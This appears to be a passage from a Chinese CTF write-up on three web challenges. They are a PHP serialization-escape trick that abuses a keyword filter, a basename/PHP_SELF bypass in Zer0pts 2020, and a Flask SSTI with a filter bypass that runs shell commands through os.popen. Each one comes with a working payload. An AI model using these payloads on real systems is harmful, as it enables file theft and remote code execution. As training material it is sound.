if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
//利用该处的序列化传入config.php作为photo的值
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
//class.php
...
//此处的filter过滤会将目标字符替换成hacker,因此可以尝试利用5个字符的where,被替换后成为hacker,字符数由5变成6,即多出1个,通过传入34个where,就会多出34个字符用于序列化逃逸
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
利用 filter 过滤,通过 34 个 where 变成 34 个 hacker,多出 34 个字符,从而传入 34 个字符”;} s:5:”photo”;s:10:”config.php”;}
由于 nickname 有字符数限制,因此通过传入数组绕过 preg_match
//payload
Content-Disposition: form-data; name="nickname[]"
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
通过 update.php 传入 payload:
传入后访问 profile.php 获得 config.php 的 base64 编码,解码后即为 flag
[Zer0pts 2020] Can you guess it?
先读源码:
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
随机 64 位数并 hex 编码显然是猜不出的,所以关注代码前面部分;$_SERVER [‘PHP_SELF’] 用于获取当前文件位置,即 url 的结尾,所以不能以 config.php 作为 url 结尾,但如果后面加了类似 test.php 则无法利用 highlight_file 读取 flag。此时注意到 highlight_file 函数中的 basename 函数,该函数存在漏洞,会将不可识别的 ascii 字符删去,其中汉字就是不可识别,因此在 config.php/ 后写上一个中文就可以绕过 preg_match 的过滤,同时成功将 config.php 传入 highlight_file 中
//Payload: /index.php/config.php/你猜我猜不猜?source
[CSCCTF 2019 Qual] FlaskLight
进来看源码,提示通过 GET 方式获取 search
既然是 Flask 了,估计考点就是 SSTI,直接传入 {{5*5}} 测试证明存在 SSTI
找个 payload 直接打,发现返回错误
//Payload
{{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__globals__%27][%27os%27].popen("ls").read()}}
存在对 globals 的过滤,所以尝试拼接字符实现绕过
//Payload
{{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__g%27+%27lobals__%27][%27os%27].popen("ls").read()}}
修改命令为”ls%20flasklight” 找 flag 文件
读取该文件得到 flag
//Payload
{{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__g%27+%27lobals__%27][%27os%27].popen("cat%20flasklight/coomme_geeeett_youur_flek").read()}}